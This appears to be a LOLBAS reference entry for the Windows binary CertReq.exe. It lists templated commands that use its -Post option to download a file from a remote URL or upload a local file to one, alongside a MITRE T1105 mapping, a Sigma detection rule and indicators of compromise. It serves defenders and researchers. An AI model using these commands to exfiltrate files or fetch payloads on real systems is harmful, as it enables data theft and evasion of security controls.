LOL · Binary

CertReq.exe

2 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).

Use Download file from Internet

CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}

Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
IOC: certreq creates new files
IOC: certreq makes POST requests
Refs: dtm.uk/certreq
lolbas-project.github.io/lolbas/Binaries/CertReq/

Upload

File Upload Windows

Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.

Use Upload

CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}

Context: user
Native: Upload
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
IOC: certreq creates new files
IOC: certreq makes POST requests
Refs: dtm.uk/certreq
lolbas-project.github.io/lolbas/Binaries/CertReq/